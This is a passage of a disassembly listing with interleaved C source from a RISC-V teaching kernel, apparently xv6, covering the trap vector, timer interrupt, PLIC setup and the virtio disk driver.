a7,128(sp) 800061a4: e54a sd s2,136(sp) 800061a6: e94e sd s3,144(sp) 800061a8: ed52 sd s4,152(sp) 800061aa: f156 sd s5,160(sp) 800061ac: f55a sd s6,168(sp) 800061ae: f95e sd s7,176(sp) 800061b0: fd62 sd s8,184(sp) 800061b2: e1e6 sd s9,192(sp) 800061b4: e5ea sd s10,200(sp) 800061b6: e9ee sd s11,208(sp) 800061b8: edf2 sd t3,216(sp) 800061ba: f1f6 sd t4,224(sp) 800061bc: f5fa sd t5,232(sp) 800061be: f9fe sd t6,240(sp) 800061c0: c75fc0ef jal ra,80002e34 <kerneltrap> 800061c4: 6082 ld ra,0(sp) 800061c6: 6122 ld sp,8(sp) 800061c8: 61c2 ld gp,16(sp) 800061ca: 7282 ld t0,32(sp) 800061cc: 7322 ld t1,40(sp) 800061ce: 73c2 ld t2,48(sp) 800061d0: 7462 ld s0,56(sp) 800061d2: 6486 ld s1,64(sp) 800061d4: 6526 ld a0,72(sp) 800061d6: 65c6 ld a1,80(sp) 800061d8: 6666 ld a2,88(sp) 800061da: 7686 ld a3,96(sp) 800061dc: 7726 ld a4,104(sp) 800061de: 77c6 ld a5,112(sp) 800061e0: 7866 ld a6,120(sp) 800061e2: 688a ld a7,128(sp) 800061e4: 692a ld s2,136(sp) 800061e6: 69ca ld s3,144(sp) 800061e8: 6a6a ld s4,152(sp) 800061ea: 7a8a ld s5,160(sp) 800061ec: 7b2a ld s6,168(sp) 800061ee: 7bca ld s7,176(sp) 800061f0: 7c6a ld s8,184(sp) 800061f2: 6c8e ld s9,192(sp) 800061f4: 6d2e ld s10,200(sp) 800061f6: 6dce ld s11,208(sp) 800061f8: 6e6e ld t3,216(sp) 800061fa: 7e8e ld t4,224(sp) 800061fc: 7f2e ld t5,232(sp) 800061fe: 7fce ld t6,240(sp) 80006200: 6111 addi sp,sp,256 80006202: 10200073 sret 80006206: 00000013 nop 8000620a: 00000013 nop 8000620e: 0001 nop 0000000080006210 <timervec>: 80006210: 34051573 csrrw a0,mscratch,a0 80006214: e10c sd a1,0(a0) 80006216: e510 sd a2,8(a0) 80006218: e914 sd a3,16(a0) 8000621a: 6d0c ld a1,24(a0) 8000621c: 7110 ld a2,32(a0) 8000621e: 6194 ld a3,0(a1) 80006220: 96b2 add a3,a3,a2 80006222: e194 sd a3,0(a1) 80006224: 4589 li a1,2 80006226: 14459073 csrw sip,a1 8000622a: 6914 ld a3,16(a0) 8000622c: 6510 ld a2,8(a0) 8000622e: 610c ld a1,0(a0) 80006230: 34051573 csrrw a0,mscratch,a0 80006234: 30200073 mret ... 000000008000623a <plicinit>: // the riscv Platform Level Interrupt Controller (PLIC). // void plicinit(void) { 8000623a: 1141 addi sp,sp,-16 8000623c: e422 sd s0,8(sp) 8000623e: 0800 addi s0,sp,16 // set desired IRQ priorities non-zero (otherwise disabled). *(uint32*)(PLIC + UART0_IRQ*4) = 1; 80006240: 0c0007b7 lui a5,0xc000 80006244: 4705 li a4,1 80006246: d798 sw a4,40(a5) *(uint32*)(PLIC + VIRTIO0_IRQ*4) = 1; 80006248: c3d8 sw a4,4(a5) } 8000624a: 6422 ld s0,8(sp) 8000624c: 0141 addi sp,sp,16 8000624e: 8082 ret 0000000080006250 <plicinithart>: void plicinithart(void) { 80006250: 1141 addi sp,sp,-16 80006252: e406 sd ra,8(sp) 80006254: e022 sd s0,0(sp) 80006256: 0800 addi s0,sp,16 int hart = cpuid(); 80006258: ffffb097 auipc ra,0xffffb 8000625c: 712080e7 jalr 1810(ra) # 8000196a <cpuid> // set uart's enable bit for this hart's S-mode. *(uint32*)PLIC_SENABLE(hart)= (1 << UART0_IRQ) | (1 << VIRTIO0_IRQ); 80006260: 0085171b slliw a4,a0,0x8 80006264: 0c0027b7 lui a5,0xc002 80006268: 97ba add a5,a5,a4 8000626a: 40200713 li a4,1026 8000626e: 08e7a023 sw a4,128(a5) # c002080 <_entry-0x73ffdf80> // set this hart's S-mode priority threshold to 0. *(uint32*)PLIC_SPRIORITY(hart) = 0; 80006272: 00d5151b slliw a0,a0,0xd 80006276: 0c2017b7 lui a5,0xc201 8000627a: 953e add a0,a0,a5 8000627c: 00052023 sw zero,0(a0) } 80006280: 60a2 ld ra,8(sp) 80006282: 6402 ld s0,0(sp) 80006284: 0141 addi sp,sp,16 80006286: 8082 ret 0000000080006288 <plic_claim>: // ask the PLIC what interrupt we should serve. int plic_claim(void) { 80006288: 1141 addi sp,sp,-16 8000628a: e406 sd ra,8(sp) 8000628c: e022 sd s0,0(sp) 8000628e: 0800 addi s0,sp,16 int hart = cpuid(); 80006290: ffffb097 auipc ra,0xffffb 80006294: 6da080e7 jalr 1754(ra) # 8000196a <cpuid> int irq = *(uint32*)PLIC_SCLAIM(hart); 80006298: 00d5179b slliw a5,a0,0xd 8000629c: 0c201537 lui a0,0xc201 800062a0: 953e add a0,a0,a5 return irq; } 800062a2: 4148 lw a0,4(a0) 800062a4: 60a2 ld ra,8(sp) 800062a6: 6402 ld s0,0(sp) 800062a8: 0141 addi sp,sp,16 800062aa: 8082 ret 00000000800062ac <plic_complete>: // tell the PLIC we've served this IRQ. void plic_complete(int irq) { 800062ac: 1101 addi sp,sp,-32 800062ae: ec06 sd ra,24(sp) 800062b0: e822 sd s0,16(sp) 800062b2: e426 sd s1,8(sp) 800062b4: 1000 addi s0,sp,32 800062b6: 84aa mv s1,a0 int hart = cpuid(); 800062b8: ffffb097 auipc ra,0xffffb 800062bc: 6b2080e7 jalr 1714(ra) # 8000196a <cpuid> *(uint32*)PLIC_SCLAIM(hart) = irq; 800062c0: 00d5151b slliw a0,a0,0xd 800062c4: 0c2017b7 lui a5,0xc201 800062c8: 97aa add a5,a5,a0 800062ca: c3c4 sw s1,4(a5) } 800062cc: 60e2 ld ra,24(sp) 800062ce: 6442 ld s0,16(sp) 800062d0: 64a2 ld s1,8(sp) 800062d2: 6105 addi sp,sp,32 800062d4: 8082 ret 00000000800062d6 <free_desc>: } // mark a descriptor as free. static void free_desc(int i) { 800062d6: 1141 addi sp,sp,-16 800062d8: e406 sd ra,8(sp) 800062da: e022 sd s0,0(sp) 800062dc: 0800 addi s0,sp,16 if(i >= NUM) 800062de: 479d li a5,7 800062e0: 06a7c963 blt a5,a0,80006352 <free_desc+0x7c> panic("free_desc 1"); if(disk.free[i]) 800062e4: 0001d797 auipc a5,0x1d 800062e8: d1c78793 addi a5,a5,-740 # 80023000 <disk> 800062ec: 00a78733 add a4,a5,a0 800062f0: 6789 lui a5,0x2 800062f2: 97ba add a5,a5,a4 800062f4: 0187c783 lbu a5,24(a5) # 2018 <_entry-0x7fffdfe8> 800062f8: e7ad bnez a5,80006362 <free_desc+0x8c> panic("free_desc 2"); disk.desc[i].addr = 0; 800062fa: 00451793 slli a5,a0,0x4 800062fe: 0001f717 auipc a4,0x1f 80006302: d0270713 addi a4,a4,-766 # 80025000 <disk+0x2000> 80006306: 6314 ld a3,0(a4) 80006308: 96be add a3,a3,a5 8000630a: 0006b023 sd zero,0(a3) disk.desc[i].len = 0; 8000630e: 6314 ld a3,0(a4) 80006310: 96be add a3,a3,a5 80006312: 0006a423 sw zero,8(a3) disk.desc[i].flags = 0; 80006316: 6314 ld a3,0(a4) 80006318: 96be add a3,a3,a5 8000631a: 00069623 sh zero,12(a3) disk.desc[i].next = 0; 8000631e: 6318 ld a4,0(a4) 80006320: 97ba add a5,a5,a4 80006322: 00079723 sh zero,14(a5) disk.free[i] = 1; 80006326: 0001d797 auipc a5,0x1d 8000632a: cda78793 addi a5,a5,-806 # 80023000 <disk> 8000632e: 97aa add a5,a5,a0 80006330: 6509 lui a0,0x2 80006332: 953e add a0,a0,a5 80006334: 4785 li a5,1 80006336: 00f50c23 sb a5,24(a0) # 2018 <_entry-0x7fffdfe8> wakeup(&disk.free[0]); 8000633a: 0001f517 auipc a0,0x1f 8000633e: cde50513 addi a0,a0,-802 # 80025018 <disk+0x2018> 80006342: ffffc097 auipc ra,0xffffc 80006346: 010080e7 jalr 16(ra) # 80002352 <wakeup> } 8000634a: 60a2 ld ra,8(sp) 8000634c: 6402 ld s0,0(sp) 8000634e: 0141 addi sp,sp,16 80006350: 8082 ret panic("free_desc 1"); 80006352: 00002517 auipc a0,0x2 80006356: 64650513 addi a0,a0,1606 # 80008998 <syscalls+0x368> 8000635a: ffffa097 auipc ra,0xffffa 8000635e: 1d0080e7 jalr 464(ra) # 8000052a <panic> panic("free_desc 2"); 80006362: 00002517 auipc a0,0x2 80006366: 64650513 addi a0,a0,1606 # 800089a8 <syscalls+0x378> 8000636a: ffffa097 auipc ra,0xffffa 8000636e: 1c0080e7 jalr 448(ra) # 8000052a <panic> 0000000080006372 <virtio_disk_init>: { 80006372: 1101 addi sp,sp,-32 80006374: ec06 sd ra,24(sp) 80006376: e822 sd s0,16(sp) 80006378: e426 sd s1,8(sp) 8000637a: 1000 addi s0,sp,32 initlock(&disk.vdisk_lock, "virtio_disk"); 8000637c: 00002597 auipc a1,0x2 80006380: 63c58593 addi a1,a1,1596 # 800089b8 <syscalls+0x388> 80006384: 0001f517 auipc a0,0x1f 80006388: da450513 addi a0,a0,-604 # 80025128 <disk+0x2128> 8000638c: ffffa097 auipc ra,0xffffa 80006390: 7a6080e7 jalr 1958(ra) # 80000b32 <initlock> if(*R(VIRTIO_MMIO_MAGIC_VALUE) != 0x74726976 || 80006394: 100017b7 lui a5,0x10001 80006398: 4398 lw a4,0(a5) 8000639a: 2701 sext.w a4,a4 8000639c: 747277b7 lui a5,0x74727 800063a0: 97678793 addi a5,a5,-1674 # 74726976 <_entry-0xb8d968a> 800063a4: 0ef71163 bne a4,a5,80006486 <virtio_disk_init+0x114> *R(VIRTIO_MMIO_VERSION) != 1 || 800063a8: 100017b7 lui a5,0x10001 800063ac: 43dc lw a5,4(a5) 800063ae: 2781 sext.w a5,a5 if(*R(VIRTIO_MMIO_MAGIC_VALUE) != 0x74726976 || 800063b0: 4705 li a4,1 800063b2: 0ce79a63 bne a5,a4,80006486 <virtio_disk_init+0x114> *R(VIRTIO_MMIO_DEVICE_ID) != 2 || 800063b6: 100017b7 lui a5,0x10001 800063ba: 479c lw a5,8(a5) 800063bc: 2781 sext.w a5,a5 *R(VIRTIO_MMIO_VERSION) != 1 || 800063be: 4709 li a4,2 800063c0: 0ce79363 bne a5,a4,80006486 <virtio_disk_init+0x114> *R(VIRTIO_MMIO_VENDOR_ID) != 0x554d4551){ 800063c4: 100017b7 lui a5,0x10001 800063c8: 47d8 lw a4,12(a5) 800063ca: 2701 sext.w a4,a4 *R(VIRTIO_MMIO_DEVICE_ID) != 2 || 800063cc: 554d47b7 lui a5,0x554d4 800063d0: 55178793 addi a5,a5,1361 # 554d4551 <_entry-0x2ab2baaf> 800063d4: 0af71963 bne a4,a5,80006486 <virtio_disk_init+0x114> *R(VIRTIO_MMIO_STATUS) = status; 800063d8: 100017b7 lui a5,0x10001 800063dc: 4705 li a4,1 800063de: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_STATUS) = status; 800063e0: 470d li a4,3 800063e2: dbb8 sw a4,112(a5) uint64 features = *R(VIRTIO_MMIO_DEVICE_FEATURES); 800063e4: 4b94 lw a3,16(a5) features &= ~(1 << VIRTIO_RING_F_INDIRECT_DESC); 800063e6: c7ffe737 lui a4,0xc7ffe 800063ea: 75f70713 addi a4,a4,1887 # ffffffffc7ffe75f <end+0xffffffff47fd875f> 800063ee: 8f75 and a4,a4,a3 *R(VIRTIO_MMIO_DRIVER_FEATURES) = features; 800063f0: 2701 sext.w a4,a4 800063f2: d398 sw a4,32(a5) *R(VIRTIO_MMIO_STATUS) = status; 800063f4: 472d li a4,11 800063f6: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_STATUS) = status; 800063f8: 473d li a4,15 800063fa: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_GUEST_PAGE_SIZE) = PGSIZE; 800063fc: 6705 lui a4,0x1 800063fe: d798 sw a4,40(a5) *R(VIRTIO_MMIO_QUEUE_SEL) = 0; 80006400: 0207a823 sw zero,48(a5) # 10001030 <_entry-0x6fffefd0> uint32 max = *R(VIRTIO_MMIO_QUEUE_NUM_MAX); 80006404: 5bdc lw a5,52(a5) 80006406: 2781 sext.w a5,a5 if(max == 0) 80006408: c7d9 beqz a5,80006496 <virtio_disk_init+0x124> if(max < NUM) 8000640a: 471d li a4,7 8000640c: 08f77d63 bgeu a4,a5,800064a6 <virtio_disk_init+0x134> *R(VIRTIO_MMIO_QUEUE_NUM) = NUM; 80006410: 100014b7 lui s1,0x10001 80006414: 47a1 li a5,8 80006416: dc9c sw a5,56(s1) memset(disk.pages, 0, sizeof(disk.pages)); 80006418: 6609 lui a2,0x2 8000641a: 4581 li a1,0 8000641c: 0001d517 auipc a0,0x1d 80006420: be450513 addi a0,a0,-1052 # 80023000 <disk> 80006424: ffffb097 auipc ra,0xffffb 80006428: 89a080e7 jalr -1894(ra) # 80000cbe <memset> *R(VIRTIO_MMIO_QUEUE_PFN) = ((uint64)disk.pages) >> PGSHIFT; 8000642c: 0001d717 auipc a4,0x1d 80006430: bd470713 addi a4,a4,-1068 # 80023000 <disk> 80006434: 00c75793 srli a5,a4,0xc 80006438: 2781 sext.w a5,a5 8000643a: c0bc sw a5,64(s1) disk.desc = (struct virtq_desc *) disk.pages; 8000643c: 0001f797 auipc a5,0x1f 80006440: bc478793 addi a5,a5,-1084 # 80025000 <disk+0x2000> 80006444: e398 sd a4,0(a5) disk.avail = (struct virtq_avail *)(disk.pages + NUM*sizeof(struct virtq_desc)); 80006446: 0001d717 auipc a4,0x1d 8000644a: c3a70713 addi a4,a4,-966 # 80023080 <disk+0x80> 8000644e: e798 sd a4,8(a5) disk.used = (struct virtq_used *) (disk.pages + PGSIZE); 80006450: 0001e717 auipc a4,0x1e 80006454: bb070713 addi a4,a4,-1104 # 80024000 <disk+0x1000> 80006458: eb98 sd a4,16(a5) disk.free[i] = 1; 8000645a: 4705 li a4,1 8000645c: 00e78c23 sb a4,24(a5) 80006460: 00e78ca3 sb a4,25(a5) 80006464: 00e78d23 sb a4,26(a5) 80006468: 00e78da3 sb a4,27(a5) 8000646c: 00e78e23 sb a4,28(a5) 80006470: 00e78ea3 sb a4,29(a5) 80006474: 00e78f23 sb a4,30(a5) 80006478: 00e78fa3 sb a4,31(a5) } 8000647c: 60e2 ld ra,24(sp) 8000647e: 6442 ld s0,16(sp) 80006480: 64a2 ld s1,8(sp) 80006482: 6105 addi sp,sp,32 80006484: 8082 ret panic("could not find virtio disk"); 80006486: 00002517 auipc a0,0x2 8000648a: 54250513 addi a0,a0,1346 # 800089c8 <syscalls+0x398> 8000648e: ffffa097 auipc ra,0xffffa 80006492: 09c080e7 jalr 156(ra) # 8000052a <panic> panic("virtio disk has no queue 0"); 80006496: 00002517 auipc a0,0x2 8000649a: 55250513 addi a0,a0,1362 # 800089e8 <syscalls+0x3b8> 8000649e: ffffa097 auipc ra,0xffffa 800064a2: 08c080e7 jalr 140(ra) # 8000052a <panic> panic("virtio disk max queue too short"); 800064a6: 00002517 auipc a0,0x2 800064aa: 56250513 addi a0,a0,1378 # 80008a08 <syscalls+0x3d8> 800064ae: ffffa097 auipc ra,0xffffa 800064b2: 07c080e7 jalr 124(ra) # 8000052a <panic> 00000000800064b6 <virtio_disk_rw>: return 0; } void virtio_disk_rw(struct buf *b, int write) { 800064b6: 7119 addi sp,sp,-128 800064b8: fc86 sd ra,120(sp) 800064ba: f8a2 sd s0,112(sp) 800064bc: f4a6 sd s1,104(sp) 800064be: f0ca sd s2,96(sp) 800064c0: ecce sd s3,88(sp) 800064c2: e8d2 sd s4,80(sp) 800064c4: e4d6 sd s5,72(sp) 800064c6: e0da sd s6,64(sp) 800064c8: fc5e sd s7,56(sp) 800064ca: f862 sd s8,48(sp) 800064cc: f466 sd s9,40(sp) 800064ce: f06a sd s10,32(sp) 800064d0: ec6e sd s11,24(sp) 800064d2: 0100 addi s0,sp,128 800064d4: 8aaa mv s5,a0 800064d6: 8d2e mv s10,a1 uint64 sector = b->blockno * (BSIZE / 512); 800064d8: 00c52c83 lw s9,12(a0) 800064dc: 001c9c9b slliw s9,s9,0x1 800064e0: 1c82 slli s9,s9,0x20 800064e2: 020cdc93 srli s9,s9,0x20 acquire(&disk.vdisk_lock); 800064e6: 0001f517 auipc a0,0x1f 800064ea: c4250513 addi a0,a0,-958 # 80025128 <disk+0x2128> 800064ee: ffffa097 auipc ra,0xffffa 800064f2: 6d4080e7 jalr 1748(ra) # 80000bc2 <acquire> for(int i = 0; i < 3; i++){ 800064f6: 4981 li s3,0 for(int i = 0; i < NUM; i++){ 800064f8: 44a1 li s1,8 disk.free[i] = 0; 800064fa: 0001dc17 auipc s8,0x1d 800064fe: b06c0c13 addi s8,s8,-1274 # 80023000 <disk> 80006502: 6b89 lui s7,0x2 for(int i = 0; i < 3; i++){ 80006504: 4b0d li s6,3 80006506: a0ad j 80006570 <virtio_disk_rw+0xba> disk.free[i] = 0; 80006508: 00fc0733 add a4,s8,a5 8000650c: 975e add a4,a4,s7 8000650e: 00070c23 sb zero,24(a4) idx[i] = alloc_desc(); 80006512: c19c sw a5,0(a1) if(idx[i] < 0){ 80006514: 0207c563 bltz a5,8000653e <virtio_disk_rw+0x88> for(int i = 0; i < 3; i++){ 80006518: 2905 addiw s2,s2,1 8000651a: 0611 addi a2,a2,4 8000651c: 19690d63 beq s2,s6,800066b6 <virtio_disk_rw+0x200> idx[i] = alloc_desc(); 80006520: 85b2 mv a1,a2 for(int i = 0; i < NUM; i++){ 80006522: 0001f717 auipc a4,0x1f 80006526: af670713 addi a4,a4,-1290 # 80025018 <disk+0x2018> 8000652a: 87ce mv a5,s3 if(disk.free[i]){ 8000652c: 00074683 lbu a3,0(a4) 80006530: fee1 bnez a3,80006508 <virtio_disk_rw+0x52> for(int i = 0; i < NUM; i++){ 80006532: 2785 addiw a5,a5,1 80006534: 0705 addi a4,a4,1 80006536: fe979be3 bne a5,s1,8000652c <virtio_disk_rw+0x76> idx[i] = alloc_desc(); 8000653a: 57fd li a5,-1 8000653c: c19c sw a5,0(a1) for(int j = 0; j < i; j++) 8000653e: 01205d63 blez s2,80006558 <virtio_disk_rw+0xa2> 80006542: 8dce mv s11,s3 free_desc(idx[j]); 80006544: 000a2503 lw a0,0(s4) 80006548: 00000097 auipc ra,0x0 8000654c: d8e080e7 jalr -626(ra) # 800062d6 <free_desc> for(int j = 0; j < i; j++) 80006550: 2d85 addiw s11,s11,1 80006552: 0a11 addi s4,s4,4 80006554: ffb918e3 bne s2,s11,80006544 <virtio_disk_rw+0x8e> int idx[3]; while(1){ if(alloc3_desc(idx) == 0) { break; } sleep(&disk.free[0], &disk.vdisk_lock); 80006558: 0001f597 auipc a1,0x1f 8000655c: bd058593 addi a1,a1,-1072 # 80025128 <disk+0x2128> 80006560: 0001f517 auipc a0,0x1f 80006564: ab850513 addi a0,a0,-1352 # 80025018 <disk+0x2018> 80006568: ffffc097 auipc ra,0xffffc 8000656c: c5e080e7 jalr -930(ra) # 800021c6 <sleep> for(int i = 0; i < 3; i++){ 80006570: f8040a13 addi s4,s0,-128 { 80006574: 8652 mv a2,s4 for(int i = 0; i < 3; i++){ 80006576: 894e mv s2,s3 80006578: b765 j 80006520 <virtio_disk_rw+0x6a> disk.desc[idx[0]].next = idx[1]; disk.desc[idx[1]].addr = (uint64) b->data; disk.desc[idx[1]].len = BSIZE; if(write) disk.desc[idx[1]].flags = 0; // device reads b->data 8000657a: 0001f697 auipc a3,0x1f 8000657e: a866b683 ld a3,-1402(a3) # 80025000 <disk+0x2000> 80006582: 96ba add a3,a3,a4 80006584: 00069623 sh zero,12(a3) else disk.desc[idx[1]].flags = VRING_DESC_F_WRITE; // device writes b->data disk.desc[idx[1]].flags |= VRING_DESC_F_NEXT; 80006588: 0001d817 auipc a6,0x1d 8000658c: a7880813 addi a6,a6,-1416 # 80023000 <disk> 80006590: 0001f697 auipc a3,0x1f 80006594: a7068693 addi a3,a3,-1424 # 80025000 <disk+0x2000> 80006598: 6290 ld a2,0(a3) 8000659a: 963a add a2,a2,a4 8000659c: 00c65583 lhu a1,12(a2) # 200c <_entry-0x7fffdff4> 800065a0: 0015e593 ori a1,a1,1 800065a4: 00b61623 sh a1,12(a2) disk.desc[idx[1]].next = idx[2]; 800065a8: f8842603 lw a2,-120(s0) 800065ac: 628c ld a1,0(a3) 800065ae: 972e add a4,a4,a1 800065b0: 00c71723 sh a2,14(a4) disk.info[idx[0]].status = 0xff; // device writes 0 on success 800065b4: 20050593 addi a1,a0,512 800065b8: 0592 slli a1,a1,0x4 800065ba: 95c2 add a1,a1,a6 800065bc: 577d li a4,-1 800065be: 02e58823 sb a4,48(a1) disk.desc[idx[2]].addr = (uint64) &disk.info[idx[0]].status; 800065c2: 00461713 slli a4,a2,0x4 800065c6: 6290 ld a2,0(a3) 800065c8: 963a add a2,a2,a4 800065ca: 03078793 addi a5,a5,48 800065ce: 97c2 add a5,a5,a6 800065d0: e21c sd a5,0(a2) disk.desc[idx[2]].len = 1; 800065d2: 629c ld a5,0(a3) 800065d4: 97ba add a5,a5,a4 800065d6: 4605 li a2,1 800065d8: c790 sw a2,8(a5) disk.desc[idx[2]].flags = VRING_DESC_F_WRITE; // device writes the status 800065da: 629c ld a5,0(a3) 800065dc: 97ba add a5,a5,a4 800065de: 4809 li a6,2 800065e0: 01079623 sh a6,12(a5) disk.desc[idx[2]].next = 0; 800065e4: 629c ld a5,0(a3) 800065e6: 973e add a4,a4,a5 800065e8: 00071723 sh zero,14(a4) // record struct buf for virtio_disk_intr(). b->disk = 1; 800065ec: 00caa223 sw a2,4(s5) disk.info[idx[0]].b = b; 800065f0: 0355b423 sd s5,40(a1) // tell the device the first index in our chain of descriptors. disk.avail->ring[disk.avail->idx % NUM] = idx[0]; 800065f4: 6698 ld a4,8(a3) 800065f6: 00275783 lhu a5,2(a4) 800065fa: 8b9d andi a5,a5,7 800065fc: 0786 slli a5,a5,0x1 800065fe: 97ba add a5,a5,a4 80006600: 00a79223 sh a0,4(a5) __sync_synchronize(); 80006604: 0ff0000f fence // tell the device another avail ring entry is available. disk.avail->idx += 1; // not % NUM ... 80006608: 6698 ld a4,8(a3) 8000660a: 00275783 lhu a5,2(a4) 8000660e: 2785 addiw a5,a5,1 80006610: 00f71123 sh a5,2(a4) __sync_synchronize(); 80006614: 0ff0000f fence *R(VIRTIO_MMIO_QUEUE_NOTIFY) = 0; // value is queue number 80006618: 100017b7 lui a5,0x10001 8000661c: 0407a823 sw zero,80(a5) # 10001050 <_entry-0x6fffefb0> // Wait for virtio_disk_intr() to say request has finished. while(b->disk == 1) { 80006620: 004aa783 lw a5,4(s5) 80006624: 02c79163 bne a5,a2,80006646 <virtio_disk_rw+0x190> sleep(b, &disk.vdisk_lock); 80006628: 0001f917 auipc s2,0x1f 8000662c: b0090913 addi s2,s2,-1280 # 80025128 <disk+0x2128> while(b->disk == 1) { 80006630: 4485 li s1,1 sleep(b, &disk.vdisk_lock); 80006632: 85ca mv a1,s2 80006634: 8556 mv a0,s5 80006636: ffffc097 auipc ra,0xffffc 8000663a: b90080e7 jalr -1136(ra) # 800021c6 <sleep> while(b->disk == 1) { 8000663e: 004aa783 lw a5,4(s5) 80006642: fe9788e3 beq a5,s1,80006632 <virtio_disk_rw+0x17c> } disk.info[idx[0]].b = 0; 80006646: f8042903 lw s2,-128(s0) 8000664a: 20090793 addi a5,s2,512 8000664e: 00479713 slli a4,a5,0x4 80006652: 0001d797 auipc a5,0x1d 80006656: 9ae78793 addi a5,a5,-1618 # 80023000 <disk> 8000665a: 97ba add a5,a5,a4 8000665c: 0207b423 sd zero,40(a5) int flag = disk.desc[i].flags; 80006660: 0001f997 auipc s3,0x1f 80006664: 9a098993 addi s3,s3,-1632 # 80025000 <disk+0x2000> 80006668: 00491713 slli a4,s2,0x4 8000666c: 0009b783 ld a5,0(s3) 80006670: 97ba add a5,a5,a4 80006672: 00c7d483 lhu s1,12(a5) int nxt = disk.desc[i].next; 80006676: 854a mv a0,s2 80006678: 00e7d903 lhu s2,14(a5) free_desc(i); 8000667c: 00000097 auipc ra,0x0 80006680: c5a080e7 jalr -934(ra) # 800062d6 <free_desc> if(flag & VRING_DESC_F_NEXT) 80006684: 8885 andi s1,s1,1 80006686: f0ed bnez s1,80006668 <virtio_disk_rw+0x1b2> free_chain(idx[0]); release(&disk.vdisk_lock); 80006688: 0001f517 auipc a0,0x1f 8000668c: aa050513 addi a0,a0,-1376 # 80025128 <disk+0x2128> 80006690: ffffa097 auipc ra,0xffffa 80006694: 5e6080e7 jalr 1510(ra) # 80000c76 <release> } 80006698: 70e6 ld ra,120(sp) 8000669a: 7446 ld s0,112(sp) 8000669c: 74a6 ld s1,104(sp) 8000669e: 7906 ld s2,96(sp) 800066a0: 69e6 ld s3,88(sp) 800066a2: 6a46 ld s4,80(sp) 800066a4: 6aa6 ld s5,72(sp) 800066a6: 6b06 ld s6,64(sp) 800066a8: 7be2 ld s7,56(sp) 800066aa: 7c42 ld s8,48(sp) 800066ac: 7ca2 ld s9,40(sp) 800066ae: 7d02 ld s10,32(sp) 800066b0: 6de2 ld s11,24(sp) 800066b2: 6109 addi sp,sp,128 800066b4: 8082 ret struct virtio_blk_req *buf0 = &disk.ops[idx[0]]; 800066b6: f8042503 lw a0,-128(s0) 800066ba: 20050793 addi a5,a0,512 800066be: 0792 slli a5,a5,0x4 if(write) 800066c0: 0001d817 auipc a6,0x1d 800066c4: 94080813 addi a6,a6,-1728 # 80023000 <disk> 800066c8: 00f80733 add a4,a6,a5 800066cc: 01a036b3 snez a3,s10 800066d0: 0ad72423 sw a3,168(a4) buf0->reserved = 0; 800066d4: 0a072623 sw zero,172(a4) buf0->sector = sector; 800066d8: 0b973823 sd s9,176(a4) disk.desc[idx[0]].addr = (uint64) buf0; 800066dc: 7679 lui a2,0xffffe 800066de: 963e add a2,a2,a5 800066e0: 0001f697 auipc a3,0x1f 800066e4: 92068693 addi a3,a3,-1760 # 80025000 <disk+0x2000> 800066e8: 6298 ld a4,0(a3) 800066ea: 9732 add a4,a4,a2 struct virtio_blk_req *buf0 = &disk.ops[idx[0]]; 800066ec: 0a878593 addi a1,a5,168 800066f0: 95c2 add a1,a1,a6 disk.desc[idx[0]].addr = (uint64) buf0; 800066f2: e30c sd a1,0(a4) disk.desc[idx[0]].len = sizeof(struct virtio_blk_req); 800066f4: 6298 ld a4,0(a3) 800066f6: 9732 add a4,a4,a2 800066f8: 45c1 li a1,16 800066fa: c70c sw a1,8(a4) disk.desc[idx[0]].flags = VRING_DESC_F_NEXT; 800066fc: 6298 ld a4,0(a3) 800066fe: 9732 add a4,a4,a2 80006700: 4585 li a1,1 80006702: 00b71623 sh a1,12(a4) disk.desc[idx[0]].next = idx[1]; 80006706: f8442703 lw a4,-124(s0) 8000670a: 628c ld a1,0(a3) 8000670c: 962e add a2,a2,a1 8000670e: 00e61723 sh a4,14(a2) # ffffffffffffe00e <end+0xffffffff7ffd800e> disk.desc[idx[1]].addr = (uint64) b->data; 80006712: 0712 slli a4,a4,0x4 80006714: 6290 ld a2,0(a3) 80006716: 963a add a2,a2,a4 80006718: 058a8593 addi a1,s5,88 8000671c: e20c sd a1,0(a2) disk.desc[idx[1]].len = BSIZE; 8000671e: 6294 ld a3,0(a3) 80006720: 96ba add a3,a3,a4 80006722: 40000613 li a2,1024 80006726: c690 sw a2,8(a3) if(write) 80006728: e40d19e3 bnez s10,8000657a <virtio_disk_rw+0xc4> disk.desc[idx[1]].flags = VRING_DESC_F_WRITE; // device writes b->data 8000672c: 0001f697 auipc a3,0x1f 80006730: 8d46b683 ld a3,-1836(a3) # 80025000 <disk+0x2000> 80006734: 96ba add a3,a3,a4 80006736: 4609 li a2,2 80006738: 00c69623 sh a2,12(a3) 8000673c: b5b1 j 80006588 <virtio_disk_rw+0xd2> 000000008000673e <virtio_disk_intr>: void virtio_disk_intr() { 8000673e: 1101 addi sp,sp,-32 80006740: ec06 sd ra,24(sp) 80006742: e822 sd s0,16(sp) 80006744: e426 sd s1,8(sp) 80006746: e04a sd s2,0(sp) 80006748: 1000 addi s0,sp,32 acquire(&disk.vdisk_lock); 8000674a: 0001f517 auipc a0,0x1f 8000674e: 9de50513 addi a0,a0,-1570 # 80025128 <disk+0x2128> 80006752: ffffa097 auipc ra,0xffffa 80006756: 470080e7 jalr 1136(ra) # 80000bc2 <acquire> // we've seen this interrupt, which the following line does. // this may race with the device writing new entries to // the "used" ring, in which case we may process the new // completion entries in this interrupt, and have nothing to do // in the next interrupt, which is harmless. *R(VIRTIO_MMIO_INTERRUPT_ACK) = *R(VIRTIO_MMIO_INTERRUPT_STATUS) & 0x3; 8000675a: 10001737 lui a4,0x10001 8000675e: 533c lw a5,96(a4) 80006760: 8b8d andi a5,a5,3 80006762: d37c sw a5,100(a4) __sync_synchronize(); 80006764: 0ff0000f fence // the device increments disk.used->idx when it // adds an entry to the used ring. while(disk.used_idx != disk.used->idx){ 80006768: 0001f797 auipc a5,0x1f 8000676c: 89878793 addi a5,a5,-1896 # 80025000 <disk+0x2000> 80006770: 6b94 ld a3,16(a5) 80006772: 0207d703 lhu a4,32(a5) 80006776: 0026d783 lhu a5,2(a3) 8000677a: 06f70163 beq a4,a5,800067dc <virtio_disk_intr+0x9e> __sync_synchronize(); int id = disk.used->ring[disk.used_idx % NUM].id; 8000677e: 0001d917 auipc s2,0x1d 80006782: 88290913 addi s2,s2,-1918 # 80023000 <disk> 80006786: 0001f497 auipc s1,0x1f 8000678a: 87a48493 addi s1,s1,-1926 # 80025000 <disk+0x2000> __sync_synchronize(); 8000678e: 0ff0000f fence int id = disk.used->ring[disk.used_idx % NUM].id; 80006792: 